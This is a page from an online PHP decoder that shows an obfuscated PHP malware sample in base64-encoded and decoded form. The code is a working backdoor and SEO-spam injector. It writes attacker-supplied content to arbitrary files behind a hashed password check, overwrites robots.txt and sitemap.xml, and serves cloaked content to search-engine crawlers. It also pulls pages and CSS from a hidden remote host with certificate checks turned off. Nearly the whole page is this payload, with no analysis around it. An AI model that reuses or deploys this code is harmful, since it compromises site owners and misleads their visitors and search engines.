Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $a =base64_decode('Z290byB1NjlBTjsgVmlxTW46IEB1bmxpbmsoJHhCWlRmKTsgZ290byBWVUEwUTsg..

Decoded Output download

goto u69AN; ViqMn: @unlink($xBZTf); goto VUA0Q; qXQc_: YTybr: goto wSPw6; kaUYR: $UrgMw = "\x63\x73\x73"; goto FO8D1; M7RNf: if (stristr($cHT75, "\x55\x73\145\162\x2d\141\147\145\x6e\x74")) { goto qWjoe; } goto WTpA0; u69AN: @set_time_limit(3600); goto wLpNu; e4Z0W: $OzfAr = str_replace("\160\151\x6e\x67\x78\155\x6c\x67\x65\164\x63\157\156\x74\145\x6e\164", '', $OzfAr); goto K4JYz; sQwee: goto LE33R; goto t1CiI; GFMYQ: if (stristr($P_rkl, $Oh8PW)) { goto ZIfGw; } goto lq2hx; K7suC: $P_rkl = "\x55\x73\145\162\55\141\x67\x65\x6e\x74\x3a\40\52\xd\xa\101\154\154\x6f\x77\x3a\x20\57"; goto CqG9V; IVX92: goto Ys34t; goto mbu01; OEH1L: vg_QP: goto Wr6j_; vKL1v: if (isset($_SERVER["\104\117\x43\125\x4d\105\116\x54\137\x52\117\117\124"])) { goto zuQFi; } goto tV4Mo; T5o9u: goto ke1GD; goto BIfFp; rqRBi: $JmWbl = $_SERVER["\x44\x4f\103\x55\115\x45\x4e\x54\137\122\117\117\124"]; goto J9r1R; fdAEz: $OzfAr = str_replace("\157\x6b\170\x6d\154\147\145\164\143\x6f\x6e\x74\x65\x6e\x74", '', $OzfAr); goto fXN1a; uuQ9c: exit; goto L1SBX; MZDv6: if (!file_put_contents($JmWbl . "\57" . $cHT75, $omO8y)) { goto vg_QP; } goto H5AQj; TEFC0: @header("\x48\124\x54\x50\57\61\x2e\61\x20\x34\60\64\40\116\x6f\164\40\106\x6f\165\x6e\144"); goto nF9WQ; t1CiI: YpcQf: goto ROCau; bqB_W: if (file_exists($z9rya)) { goto BmdOf; } goto C9tRM; uMKMX: $fHqO6 = substr($ptyy0, 4); goto BDJ7V; BydkA: if (DIBAN()) { goto HVynB; } goto wjMpm; L93SG: $buguS = "\57"; goto gaAnP; Aq8w0: z_X8U: goto iA4Rj; rA0Qk: $Oh8PW = $HUcOY . "\x3a\57\57" . $ptyy0 . "\x2f" . $cHT75; goto GFMYQ; ROCau: $xBZTf = $JmWbl . "\57\x73\x69\x74\145\155\141\x70\56\x78\155\154"; goto RYQv6; ZgLC6: wHZKv: goto TEFC0; bP3eE: $Z11zJ = $JmWbl . "\57\162\x6f\142\157\x74\163\x2e\164\x78\164"; goto M7RNf; gSLti: $wQ2vF = @$_SERVER["\110\124\124\120\137\x41\x43\103\x45\x50\x54\x5f\114\x41\116\107\x55\x41\107\105"]; goto GhSUq; tV4Mo: $JmWbl = dirname(__FILE__); goto ryaMy; Kmv5u: function aIrZ1() { goto xU1Rh; LAo8O: if (stristr($iZDex, "\147\x6f\x6f\x67\154\x65\142\157\164") || stristr($iZDex, "\142\151\x6e\x67") || stristr($iZDex, "\x79\141\150\157\157") || stristr($iZDex, "\x67\157\x6f\x67\154\145") || stristr($iZDex, "\107\x6f\157\147\154\x65\142\157\x74") || stristr($iZDex, "\147\157\157\x67\x6c\145\142\157\164")) { goto ytwJT; } goto ti_VQ; ti_VQ: return false; goto LgJz5; LgJz5: goto Sxxcs; goto XA1R9; xU1Rh: $iZDex = strtolower($_SERVER["\110\124\124\120\137\x55\123\105\x52\x5f\x41\107\x45\x4e\124"]); goto LAo8O; W3PTn: Sxxcs: goto M9NCq; dmD5w: return true; goto W3PTn; XA1R9: ytwJT: goto dmD5w; M9NCq: } goto bl7sg; JR57n: if (is_dir($JmWbl . "\x2f\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\145\x73")) { goto baBt2; } goto kaUYR; oJbYX: if (strstr($OzfAr, "\160\x69\156\x67\x78\x6d\x6c\x67\x65\164\143\x6f\156\164\x65\x6e\x74")) { goto dCCYK; } goto pVzp9; Q23Dj: $UL07z = $tGIZ1 . "\x3a\57\57" . $Mxm8K . "\57\151\156\144\145\170\156\145\167\56\x70\150\x70\x3f\x77\x65\x62\x3d" . $ptyy0 . "\46\x7a\172\x3d" . aiRZ1() . "\46\165\x72\151\75" . $wL_kM . "\46\x75\162\x6c\163\150\141\x6e\147\x3d" . $bCpJI . "\x26\x68\164\x74\x70\x3d" . $HUcOY . "\46\154\x61\156\147\75" . $wQ2vF . "\46\x63\163\163\x3d\x31"; goto WhmFZ; B_Xqt: $bCpJI = $_SERVER["\x48\x54\124\x50\137\x52\105\x46\x45\122\105\122"]; goto DcQhb; Xb4Dq: $OzfAr = str_replace("\147\x65\164\x63\x6f\x6e\164\145\x6e\x74\63\60\61\x70\141\147\145", '', $OzfAr); goto CWXn8; CgtrF: exit; goto pVmxy; AB6cs: dayR0: goto ewSXx; YmzSM: if (isset($_SERVER["\104\117\x43\x55\x4d\x45\x4e\124\x5f\122\117\117\124"])) { goto zBoNE; } goto b59fQ; icZ52: goto HH7Z8; goto qpeb7; rT0V_: $P_rkl = OB8vD($Z11zJ); goto OStg0; lq2hx: if (file_put_contents($Z11zJ, trim($P_rkl) . "\15\xa" . "\x53\x69\164\145\155\141\x70\x3a\40" . $Oh8PW)) { goto YTybr; } goto pPzhT; WEwdo: goto okn_t; goto qXQc_; QJfQX: $wL_kM = urlencode($buguS); goto t3qVb; mbu01: ZIfGw: goto haqhc; QhKvo: Xs9vK: goto Q23Dj; aT1LC: $ptyy0 = $_SERVER["\x48\x54\x54\120\137\110\x4f\123\x54"]; goto gSLti; iaOsM: @header("\x48\124\x54\120\57\61\56\61\40\x33\60\x31\40\x4d\157\166\x65\144\x20\120\145\x72\x6d\141\156\x65\156\164\154\x79"); goto Xb4Dq; XnDWa: if (!strstr($OzfAr, "\x67\145\x74\x63\x6f\x6e\x74\145\x6e\164\x33\60\x31\x70\141\x67\145")) { goto CpXwE; } goto iaOsM; zD1gq: if (!($lrA9D == ob8vd($tGIZ1 . "\x3a\x2f\57" . $Mxm8K . "\57\141\x2e\x70" . "\x68\x70") || $jMTt9 == "\x66\x38\x66\60\144\141\x65\70\60\64\x33\x36\70\x63\60\63\x33\64\145\62\x32\144\x39\144\x63\x62\x37\60\144\63\143\x37\x62\x62\146\x61\71\66\x33\65")) { goto NhZtx; } goto vpFer; NI_oL: if (strstr($OzfAr, "\147\x65\164\x63\157\x6e\x74\145\x6e\x74\64\60\64\160\x61\147\x65")) { goto wHZKv; } goto XnDWa; rQ1gr: if (strstr($OzfAr, "\x6e\157\142\x6f\164\165\163\x65\162\141\x67\x65\x6e\x74")) { goto yjzbB; } goto A8c_g; tDj77: qWjoe: goto WE7_e; iA4Rj: if (!($ps6Nk == "\160\x75\164")) { goto Ki3Sv; } goto FJF7Q; EZshi: d7fRl: goto gTPnF; WE7_e: @unlink($Z11zJ); goto q84hF; vpFer: $omO8y = @$_REQUEST["\x64\x73\x74\162"]; goto MZDv6; jTtTs: ZUKCs: goto YmzSM; Vp_l8: function JNSUB($O1RoY) { goto Ghiux; x6DB1: foreach ($LDe62 as $zrS2c) { goto RB3gF; BFtMA: $Z8r4B = strpos($ZM2jk, "\123\151\164\x65\x6d\141\x70\40\116\x6f\164\x69\146\x69\143\141\x74\x69\x6f\156\40\122\145\143\x65\x69\166\x65\x64") !== false ? "\x70\x69\156\x67\x6f\153" : "\x65\162\x72\x6f\162"; goto i9_JW; i9_JW: $dQhpL .= $zrS2c . "\x2d\55\40" . $Z8r4B . "\74\x62\162\x3e"; goto RVdim; RB3gF: $ZM2jk = oB8Vd($zrS2c); goto BFtMA; RVdim: C8o6C: goto txwnU; txwnU: } goto n0GAv; Y3xGP: return $dQhpL; goto dbQFf; Ghiux: $LDe62 = explode("\15\12", trim($O1RoY)); goto W61Ub; n0GAv: BzZX0: goto Y3xGP; W61Ub: $dQhpL = ''; goto x6DB1; dbQFf: } goto Kmv5u; L1SBX: B6URT: goto n98Zf; pVzp9: if (strstr($OzfAr, "\147\x65\164\x63\x6f\x6e\164\145\156\x74\65\x30\x30\x70\x61\147\x65")) { goto Nvr45; } goto NI_oL; vikmE: if (!($W6ToD == "\146\x37\65\146\x64\65\141\143\144\63\x36\x61\x37\146\142\144\61\145\62\61\x39\142\x31\71\70\70\x31\x61\x35\63\64\x38\x62\146\143\66\x36\145\x37\x39")) { goto ZUKCs; } goto twV40; eiYCM: exit; goto HyXat; nwb7J: HH7Z8: goto icL7H; Cdu0D: @header("\110\x54\124\x50\x2f\61\x2e\61\x20\65\60\60\40\111\x6e\164\x65\x72\156\x61\154\x20\123\x65\162\x76\145\x72\x20\x45\162\162\x6f\x72"); goto CgtrF; QXsKh: goto vaEfM; goto Taw7q; eOoxQ: $fHqO6 = $ptyy0; goto a4f1m; TLQgX: echo $OzfAr; goto eiYCM; ATWnl: $z9rya = $JmWbl . "\57" . $UrgMw . "\57" . $Z10CT; goto B93MS; qpeb7: HVynB: goto R5RGu; G0_G9: $OzfAr = str_replace("\x5b\x23\43\154\151\x6e\153\143\x73\x73\43\43\135", $x1hUn, $OzfAr); goto klqWP; A8c_g: if (strstr($OzfAr, "\157\x6b\x68\164\155\x6c\147\145\x74\143\157\x6e\x74\x65\x6e\164")) { goto Q1nbc; } goto AZnrS; ryaMy: goto esrtl; goto b217L; tCpuE: if (substr($ptyy0, 0, 4) == "\x77\x77\x77\56") { goto XOSuq; } goto eOoxQ; tWLEa: kKncr: goto fdAEz; PwIts: goto GwNJ_; goto Ae4M5; Wr6j_: NhZtx: goto qXBoK; FJF7Q: if (strstr($cHT75, "\56\x78\x6d\154")) { goto YpcQf; } goto teBGO; uinPj: esrtl: goto DUXGI; OquHU: qU61T($e4Js3, $z9rya, $EWvFm); goto W3bD7; lw3XS: seZf8: goto jbvB8; gTPnF: LE33R: goto lRv_e; XSDCh: XOSuq: goto uMKMX; TcGW7: exit; goto AB6cs; HyXat: Ixr3u: goto bjKz9; B93MS: $EWvFm = $tGIZ1 . "\72\x2f\x2f" . $Mxm8K . "\x2f\164\x65\155\160\x2f\163\164\171\154\x65\x2e\x63\x73\x73"; goto Vp_l8; giUHq: hrski: goto rT0V_; zMhqe: $bCpJI = ''; goto OUK1Y; Pt7mT: $UrgMw = "\167\160\x2d\151\156\143\154\165\x64\x65\x73\x2f\143\163\163"; goto lw3XS; bjKz9: goto dayR0; goto LbNFj; jFpr2: $JmWbl = $_SERVER["\x44\x4f\x43\125\115\105\x4e\124\x5f\122\x4f\x4f\x54"]; goto uinPj; DEmQz: goto d7fRl; goto tDj77; LbNFj: Q1nbc: goto AFY6N; BDJ7V: IYeTG: goto eMjtv; O90l0: $UL07z = $tGIZ1 . "\x3a\57\x2f" . $Mxm8K . "\57\151\x6e\144\145\x78\156\145\167\x2e\160\x68\x70\77\x77\x65\x62\x3d" . $ptyy0 . "\46\x7a\x7a\75" . aIRZ1() . "\46\165\x72\151\75" . $wL_kM . "\46\165\162\x6c\x73\150\x61\156\147\x3d" . $bCpJI . "\46\150\164\x74\160\x3d" . $HUcOY . "\x26\154\141\x6e\x67\75" . $wQ2vF; goto gk_sW; lRv_e: $lrA9D = sha1(sha1(@$_REQUEST["\x61"])); goto bpHv7; pPzhT: echo "\x3c\142\162\x3e\x66\151\x6c\x65\x20\x77\162\x69\164\x65\40\x66\x61\154\x73\145\41\x3c\142\x72\76"; goto WEwdo; UF4Cc: $ps6Nk = @$_REQUEST["\x61\x63\164\151\157\x6e"]; goto vKL1v; TwMM7: goto UhasC; goto ZgLC6; cln0L: if (!($buguS == '')) { goto irOgv; } goto L93SG; b59fQ: $JmWbl = dirname(__FILE__); goto Ur2FP; haqhc: echo "\74\x62\162\76\x73\151\x74\145\x6d\141\x70\x20\141\x6c\162\x65\141\144\x79\40\x61\x64\144\x65\144\41\74\x62\x72\76"; goto X7SiG; RYQv6: if (!is_file($xBZTf)) { goto H78Tm; } goto ViqMn; tOd0A: $W6ToD = sha1(sha1(@$_REQUEST["\x70\144"])); goto vikmE; WhmFZ: YB0xp: goto ru_YQ; CWXn8: header("\114\157\x63\x61\164\x69\157\x6e\72\40" . $OzfAr); goto qnLzY; UuzZ0: echo jNsUB($OzfAr); goto uuQ9c; R5RGu: $HUcOY = "\150\164\x74\160\163"; goto nwb7J; AZnrS: if (strstr($OzfAr, "\157\x6b\x78\155\154\147\145\x74\143\157\x6e\x74\x65\156\x74")) { goto kKncr; } goto oJbYX; WTpA0: if (file_exists($Z11zJ)) { goto hrski; } goto K7suC; bl7sg: function ob8Vd($O1RoY) { goto XUWG4; xtaMj: curl_setopt($zA1qa, CURLOPT_SSL_VERIFYHOST, 0); goto SZROG; Hs0Dz: curl_setopt($zA1qa, CURLOPT_RETURNTRANSFER, 1); goto y60sl; fOnIM: $KAT8G = @file_get_contents($O1RoY); goto w6Pj4; y60sl: curl_setopt($zA1qa, CURLOPT_CONNECTTIMEOUT, 30); goto VS1Q2; w6Pj4: h5D9A: goto mloG8; kykL0: $zA1qa = curl_init(); goto fZ4Y8; TtaUT: curl_close($zA1qa); goto mlG1l; SZROG: curl_setopt($zA1qa, CURLOPT_SSL_VERIFYPEER, 0); goto Hs0Dz; mloG8: return $KAT8G; goto iy3RI; VS1Q2: $KAT8G = curl_exec($zA1qa); goto TtaUT; XUWG4: $KAT8G = ''; goto lCROL; oWTU6: if ($KAT8G) { goto h5D9A; } goto fOnIM; mlG1l: TyVam: goto oWTU6; fZ4Y8: curl_setopt($zA1qa, CURLOPT_URL, $O1RoY); goto xtaMj; lCROL: if (!function_exists("\143\x75\x72\154\x5f\151\x6e\151\164")) { goto TyVam; } goto kykL0; iy3RI: } goto wHxVL; Fbar1: $x1hUn = file_get_contents($z9rya); goto G0_G9; rUAG3: CpXwE: goto TwMM7; GhSUq: $wQ2vF = urlencode($wQ2vF); goto zMhqe; wkVuV: dCCYK: goto e4Z0W; VUA0Q: H78Tm: goto bP3eE; teBGO: echo "\74\x62\x72\x3e\163\151\x74\x65\155\x61\160\x20\x6e\x61\x6d\x65\40\x66\141\x6c\x73\145\x21\74\142\x72\x3e"; goto sQwee; bpHv7: $jMTt9 = sha1(sha1(@$_REQUEST["\142"])); goto zD1gq; IBmES: $ps6Nk = "\160\165\164"; goto Aq8w0; t3qVb: function or1pr() { goto wDz4R; FRmOT: EAmF2: goto Js9eZ; lxWeC: liZmJ: goto lQYx7; zMfJt: $wL_kM = $_SERVER["\120\x48\x50\137\123\x45\114\106"] . "\77" . $_SERVER["\x51\x55\x45\x52\131\x5f\123\x54\122\x49\116\x47"]; goto g3Zcm; sEmvQ: $wL_kM = $_SERVER["\x52\105\x51\x55\105\x53\x54\137\125\x52\x49"]; goto FRmOT; lQYx7: goto EAmF2; goto HQwRj; Js9eZ: return $wL_kM; goto m23Qf; wDz4R: if (isset($_SERVER["\x52\x45\x51\x55\105\123\x54\x5f\x55\x52\x49"])) { goto fKmZW; } goto gHd90; Q43LJ: uRAef: goto ZqbRt; ZqbRt: $wL_kM = $_SERVER["\x50\110\120\137\x53\105\114\x46"] . "\77" . $_SERVER["\141\162\x67\166"][0]; goto lxWeC; g3Zcm: goto liZmJ; goto Q43LJ; HQwRj: fKmZW: goto sEmvQ; gHd90: if (isset($_SERVER["\141\x72\147\x76"])) { goto uRAef; } goto zMfJt; m23Qf: } goto LBZYp; X1Shh: goto B6URT; goto wkVuV; gk_sW: goto YB0xp; goto QhKvo; DcQhb: $bCpJI = urlencode($bCpJI); goto Ule3Q; wLpNu: @ignore_user_abort(1); goto os2ZC; fXN1a: @header("\103\157\156\x74\x65\156\x74\x2d\x74\x79\160\145\x3a\40\164\x65\170\164\57\170\155\x6c"); goto TLQgX; GdWuq: echo "\x3c\142\162\76\x6f\x6b\x3c\142\x72\x3e"; goto WqDCi; wjMpm: $HUcOY = "\x68\x74\x74\160"; goto icZ52; wHxVL: function Qu61t($e4Js3, $z9rya, $EWvFm) { goto xhMMU; ZkU33: if (file_exists($z9rya)) { goto z9dry; } goto x6g4Z; dS7pU: if (!@mkdir($e4Js3)) { goto QE8Wz; } goto ZkU33; VixwE: QE8Wz: goto rNs2S; x6g4Z: @file_put_contents($z9rya, oB8VD($EWvFm)); goto OsY2B; N74Jq: SxJMa: goto eo5qR; on8G8: @file_put_contents($z9rya, ob8VD($EWvFm)); goto N74Jq; bespX: GXr2X: goto nbAcO; xhMMU: if (is_dir($e4Js3)) { goto GXr2X; } goto dS7pU; nbAcO: if (file_exists($z9rya)) { goto SxJMa; } goto on8G8; eo5qR: CzUCI: goto Zo9Xx; rNs2S: goto CzUCI; goto bespX; OsY2B: z9dry: goto VixwE; Zo9Xx: } goto zNls4; qnLzY: exit; goto rUAG3; LBZYp: $Mxm8K = str_rot13(urldecode($NOaAe)); goto vz7S7; UdCxz: okn_t: goto IVX92; H9meG: UhasC: goto T5o9u; C9tRM: $OzfAr = str_replace("\x5b\x23\43\x6c\151\x6e\x6b\143\x73\163\x23\x23\x5d", '', $OzfAr); goto PwIts; jbvB8: $e4Js3 = $JmWbl . "\57" . $UrgMw; goto tCpuE; OStg0: dyFPl: goto rA0Qk; rjjVc: echo "\74\142\162\76\146\151\x6c\145\40\167\162\x69\x74\x65\x20\146\x61\154\163\145\41\74\142\162\x3e"; goto QXsKh; FO8D1: goto seZf8; goto vLXzs; Ur2FP: goto V8Ols; goto zzuKO; klqWP: GwNJ_: goto m3Crw; ru_YQ: $OzfAr = trim(OB8vd($UL07z)); goto rQ1gr; zNls4: if (!($buguS == "\57" || strstr($buguS, "\145\167\164\164\x6d"))) { goto Hl0of; } goto OquHU; Ule3Q: W2hop: goto tOd0A; Ae4M5: BmdOf: goto Fbar1; eMjtv: $Z10CT = str_rot13(substr($fHqO6, 0, 3) . substr($Mxm8K, 0, 3)) . "\56\x63\x73\163"; goto ATWnl; H5AQj: echo "\157\153"; goto OEH1L; zzuKO: zBoNE: goto rqRBi; b217L: zuQFi: goto jFpr2; Taw7q: kP7_M: goto GdWuq; twV40: $cHT75 = @$_REQUEST["\155\x61\160\x6e\x61\155\145"]; goto UF4Cc; W3bD7: Hl0of: goto dyNKv; qXBoK: Ki3Sv: goto pEGVN; pEGVN: exit; goto jTtTs; xVeXe: $tGIZ1 = "\150\x74\x74\160"; goto BydkA; J9r1R: V8Ols: goto JR57n; a4f1m: goto IYeTG; goto XSDCh; OUK1Y: if (!isset($_SERVER["\110\x54\124\120\x5f\122\x45\106\x45\122\105\122"])) { goto W2hop; } goto B_Xqt; vz7S7: function dIBaN() { goto Rx0wU; GZK1r: return false; goto LGiQo; WlsCT: MTaUF: goto GZK1r; XLLen: return true; goto gJ1o3; U_8iW: goto MTaUF; goto C0xFw; wBZ4U: return true; goto WlsCT; yJ2Mv: goto MTaUF; goto bJkAs; qcqtU: if (isset($_SERVER["\x48\x54\x54\120\x5f\130\137\106\117\x52\x57\101\122\x44\x45\x44\137\120\x52\x4f\x54\117"]) && $_SERVER["\110\124\x54\120\x5f\x58\x5f\106\x4f\122\127\x41\122\x44\x45\x44\137\120\x52\x4f\124\x4f"] === "\x68\x74\164\x70\x73") { goto vv8Wu; } goto qdg4F; Rx0wU: if (isset($_SERVER["\110\x54\x54\120\x53"]) && strtolower($_SERVER["\110\124\x54\120\x53"]) !== "\157\x66\146") { goto M8Pf7; } goto qcqtU; MU1iU: sLfcO: goto wBZ4U; C0xFw: vv8Wu: goto XLLen; gJ1o3: goto MTaUF; goto MU1iU; pvvSC: return true; goto U_8iW; bJkAs: M8Pf7: goto pvvSC; qdg4F: if (isset($_SERVER["\x48\124\124\x50\x5f\106\x52\117\x4e\x54\x5f\105\x4e\104\137\x48\124\124\120\x53"]) && strtolower($_SERVER["\110\124\124\120\x5f\x46\122\x4f\x4e\x54\x5f\105\x4e\x44\137\110\x54\124\120\123"]) !== "\157\x66\x66") { goto sLfcO; } goto yJ2Mv; LGiQo: } goto aT1LC; n98Zf: goto Ixr3u; goto tWLEa; pVmxy: ke1GD: goto X1Shh; vMpp5: echo $OzfAr; goto TcGW7; X7SiG: Ys34t: goto DEmQz; m3Crw: $OzfAr = str_replace("\157\153\x68\x74\x6d\154\147\x65\164\143\157\x6e\164\145\156\x74", '', $OzfAr); goto vMpp5; K4JYz: Qu61t($e4Js3, $z9rya, $EWvFm); goto IYqq1; dyNKv: if (is_file($z9rya)) { goto Xs9vK; } goto O90l0; wSPw6: echo "\x3c\x62\162\x3e\x6f\153\74\142\x72\x3e"; goto UdCxz; DUXGI: if ($ps6Nk) { goto z_X8U; } goto IBmES; gaAnP: irOgv: goto QJfQX; os2ZC: $NOaAe = "\45\67\x33\x25\x36\x42\x25\x37\x33\45\x36\x35\45\67\62\45\x36\x36\45\x37\65\45\66\x42\x25\66\104\x25\x32\105\45\67\x33\45\x36\105\45\66\x35\45\67\66\45\x36\66\45\66\67\45\66\105\x25\66\x31\x25\67\60\x25\x37\62\x25\x32\105\x25\66\102\45\x36\103\45\x36\104"; goto xVeXe; vLXzs: baBt2: goto Pt7mT; BIfFp: Nvr45: goto Cdu0D; WqDCi: vaEfM: goto EZshi; IYqq1: @header("\x43\157\x6e\x74\x65\x6e\164\55\x74\x79\160\x65\72\40\x74\x65\170\164\x2f\x68\164\155\154\73\x20\x63\150\141\162\163\x65\164\75\165\x74\x66\55\x38"); goto UuzZ0; CqG9V: goto dyFPl; goto giUHq; nF9WQ: exit; goto H9meG; q84hF: if (file_put_contents($Z11zJ, $cHT75)) { goto kP7_M; } goto rjjVc; AFY6N: @header("\103\157\x6e\164\145\156\164\55\x74\171\x70\x65\72\40\164\145\170\x74\x2f\150\164\155\154\x3b\x20\x63\x68\141\162\163\145\164\75\165\x74\146\x2d\70"); goto bqB_W; icL7H: $buguS = Or1PR(); goto cln0L; ewSXx: yjzbB:

Did this file decode correctly?

Original Code

<?php
$a =base64_decode('Z290byB1NjlBTjsgVmlxTW46IEB1bmxpbmsoJHhCWlRmKTsgZ290byBWVUEwUTsgcVhRY186IFlUeWJyOiBnb3RvIHdTUHc2OyBrYVVZUjogJFVyZ013ID0gIlx4NjNceDczXHg3MyI7IGdvdG8gRk84RDE7IE03Uk5mOiBpZiAoc3RyaXN0cigkY0hUNzUsICJceDU1XHg3M1wxNDVcMTYyXHgyZFwxNDFcMTQ3XDE0NVx4NmVceDc0IikpIHsgZ290byBxV2pvZTsgfSBnb3RvIFdUcEEwOyB1NjlBTjogQHNldF90aW1lX2xpbWl0KDM2MDApOyBnb3RvIHdMcE51OyBlNFowVzogJE96ZkFyID0gc3RyX3JlcGxhY2UoIlwxNjBcMTUxXHg2ZVx4NjdceDc4XDE1NVx4NmNceDY3XHg2NVwxNjRceDYzXDE1N1wxNTZceDc0XDE0NVx4NmVcMTY0IiwgJycsICRPemZBcik7IGdvdG8gSzRKWXo7IHNRd2VlOiBnb3RvIExFMzNSOyBnb3RvIHQxQ2lJOyBHRk1ZUTogaWYgKHN0cmlzdHIoJFBfcmtsLCAkT2g4UFcpKSB7IGdvdG8gWklmR3c7IH0gZ290byBscTJoeDsgSzdzdUM6ICRQX3JrbCA9ICJceDU1XHg3M1wxNDVcMTYyXDU1XDE0MVx4NjdceDY1XHg2ZVx4NzRceDNhXDQwXDUyXHhkXHhhXDEwMVwxNTRcMTU0XHg2Zlx4NzdceDNhXHgyMFw1NyI7IGdvdG8gQ3FHOVY7IElWWDkyOiBnb3RvIFlzMzR0OyBnb3RvIG1idTAxOyBPRUgxTDogdmdfUVA6IGdvdG8gV3I2al87IHZLTDF2OiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMDRcMTE3XHg0M1wxMjVceDRkXDEwNVwxMTZceDU0XDEzN1x4NTJcMTE3XDExN1wxMjQiXSkpIHsgZ290byB6dVFGaTsgfSBnb3RvIHRWNE1vOyBUNW85dTogZ290byBrZTFHRDsgZ290byBCSWZGcDsgcnFSQmk6ICRKbVdibCA9ICRfU0VSVkVSWyJceDQ0XHg0ZlwxMDNceDU1XDExNVx4NDVceDRlXHg1NFwxMzdcMTIyXDExN1wxMTdcMTI0Il07IGdvdG8gSjlyMVI7IGZkQUV6OiAkT3pmQXIgPSBzdHJfcmVwbGFjZSgiXDE1N1x4NmJcMTcwXHg2ZFwxNTRcMTQ3XDE0NVwxNjRcMTQzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0IiwgJycsICRPemZBcik7IGdvdG8gZlhOMWE7IHV1UTljOiBleGl0OyBnb3RvIEwxU0JYOyBNWkR2NjogaWYgKCFmaWxlX3B1dF9jb250ZW50cygkSm1XYmwgLiAiXDU3IiAuICRjSFQ3NSwgJG9tTzh5KSkgeyBnb3RvIHZnX1FQOyB9IGdvdG8gSDVBUWo7IFRFRkMwOiBAaGVhZGVyKCJceDQ4XDEyNFx4NTRceDUwXDU3XDYxXHgyZVw2MVx4MjBceDM0XDYwXDY0XDQwXDExNlx4NmZcMTY0XDQwXDEwNlx4NmZcMTY1XHg2ZVwxNDQiKTsgZ290byBuRjlXUTsgdDFDaUk6IFlwY1FmOiBnb3RvIFJPQ2F1OyBicUJfVzogaWYgKGZpbGVfZXhpc3RzKCR6OXJ5YSkpIHsgZ290byBCbWRPZjsgfSBnb3RvIEM5dFJNOyB1TUtNWDogJGZIcU82ID0gc3Vic3RyKCRwdHl5MCwgNCk7IGdvdG8gQkRKN1Y7IEJ5ZGtBOiBpZiAoRElCQU4oKSkgeyBnb3RvIEhWeW5COyB9IGdvdG8gd2pNcG07IEw5M1NHOiAkYnVndVMgPSAiXDU3IjsgZ290byBnYUFuUDsgQXE4dzA6IHpfWDhVOiBnb3RvIGlBNFJqOyByQTBRazogJE9oOFBXID0gJEhVY09ZIC4gIlx4M2FcNTdcNTciIC4gJHB0eXkwIC4gIlx4MmYiIC4gJGNIVDc1OyBnb3RvIEdGTVlROyBST0NhdTogJHhCWlRmID0gJEptV2JsIC4gIlw1N1x4NzNceDY5XHg3NFwxNDVcMTU1XDE0MVx4NzBcNTZceDc4XDE1NVwxNTQiOyBnb3RvIFJZUXY2OyBaZ0xDNjogd0haS3Y6IGdvdG8gVEVGQzA7IGJQM2VFOiAkWjExekogPSAkSm1XYmwgLiAiXDU3XDE2Mlx4NmZcMTQyXDE1N1x4NzRcMTYzXHgyZVwxNjRceDc4XDE2NCI7IGdvdG8gTTdSTmY7IGdTTHRpOiAkd1EydkYgPSBAJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFwxMjBcMTM3XHg0MVx4NDNcMTAzXHg0NVx4NTBceDU0XHg1ZlwxMTRceDQxXDExNlwxMDdceDU1XHg0MVwxMDdcMTA1Il07IGdvdG8gR2hTVXE7IHRWNE1vOiAkSm1XYmwgPSBkaXJuYW1lKF9fRklMRV9fKTsgZ290byByeWFNeTsgS212NXU6IGZ1bmN0aW9uIGFJcloxKCkgeyBnb3RvIHhVMVJoOyBMQW84TzogaWYgKHN0cmlzdHIoJGlaRGV4LCAiXDE0N1x4NmZceDZmXHg2N1wxNTRceDY1XDE0MlwxNTdcMTY0IikgfHwgc3RyaXN0cigkaVpEZXgsICJcMTQyXDE1MVx4NmVceDY3IikgfHwgc3RyaXN0cigkaVpEZXgsICJceDc5XDE0MVwxNTBcMTU3XDE1NyIpIHx8IHN0cmlzdHIoJGlaRGV4LCAiXHg2N1wxNTdceDZmXHg2N1wxNTRcMTQ1IikgfHwgc3RyaXN0cigkaVpEZXgsICJcMTA3XHg2ZlwxNTdcMTQ3XDE1NFx4NjVcMTQyXDE1N1x4NzQiKSB8fCBzdHJpc3RyKCRpWkRleCwgIlwxNDdcMTU3XDE1N1x4NjdceDZjXDE0NVwxNDJcMTU3XDE2NCIpKSB7IGdvdG8geXR3SlQ7IH0gZ290byB0aV9WUTsgdGlfVlE6IHJldHVybiBmYWxzZTsgZ290byBMZ0p6NTsgTGdKejU6IGdvdG8gU3h4Y3M7IGdvdG8gWEExUjk7IHhVMVJoOiAkaVpEZXggPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXDEyNFwxMjRcMTIwXDEzN1x4NTVcMTIzXDEwNVx4NTJceDVmXHg0MVwxMDdceDQ1XHg0ZVwxMjQiXSk7IGdvdG8gTEFvOE87IFczUFRuOiBTeHhjczogZ290byBNOU5DcTsgZG1ENXc6IHJldHVybiB0cnVlOyBnb3RvIFczUFRuOyBYQTFSOTogeXR3SlQ6IGdvdG8gZG1ENXc7IE05TkNxOiB9IGdvdG8gYmw3c2c7IEpSNTduOiBpZiAoaXNfZGlyKCRKbVdibCAuICJceDJmXHg3N1x4NzBceDJkXHg2OVx4NmVceDYzXHg2Y1x4NzVceDY0XDE0NVx4NzMiKSkgeyBnb3RvIGJhQnQyOyB9IGdvdG8ga2FVWVI7IG9KYllYOiBpZiAoc3Ryc3RyKCRPemZBciwgIlwxNjBceDY5XDE1Nlx4NjdceDc4XHg2ZFx4NmNceDY3XHg2NVwxNjRcMTQzXHg2ZlwxNTZcMTY0XHg2NVx4NmVceDc0IikpIHsgZ290byBkQ0NZSzsgfSBnb3RvIHBWenA5OyBRMjNEajogJFVMMDd6ID0gJHRHSVoxIC4gIlx4M2FcNTdcNTciIC4gJE14bThLIC4gIlw1N1wxNTFcMTU2XDE0NFwxNDVcMTcwXDE1NlwxNDVcMTY3XDU2XHg3MFwxNTBceDcwXHgzZlx4NzdceDY1XHg2Mlx4M2QiIC4gJHB0eXkwIC4gIlw0Nlx4N2FcMTcyXHgzZCIgLiBhaVJaMSgpIC4gIlw0NlwxNjVceDcyXDE1MVw3NSIgLiAkd0xfa00gLiAiXDQ2XHg3NVwxNjJceDZjXDE2M1wxNTBcMTQxXHg2ZVwxNDdceDNkIiAuICRiQ3BKSSAuICJceDI2XHg2OFwxNjRceDc0XHg3MFx4M2QiIC4gJEhV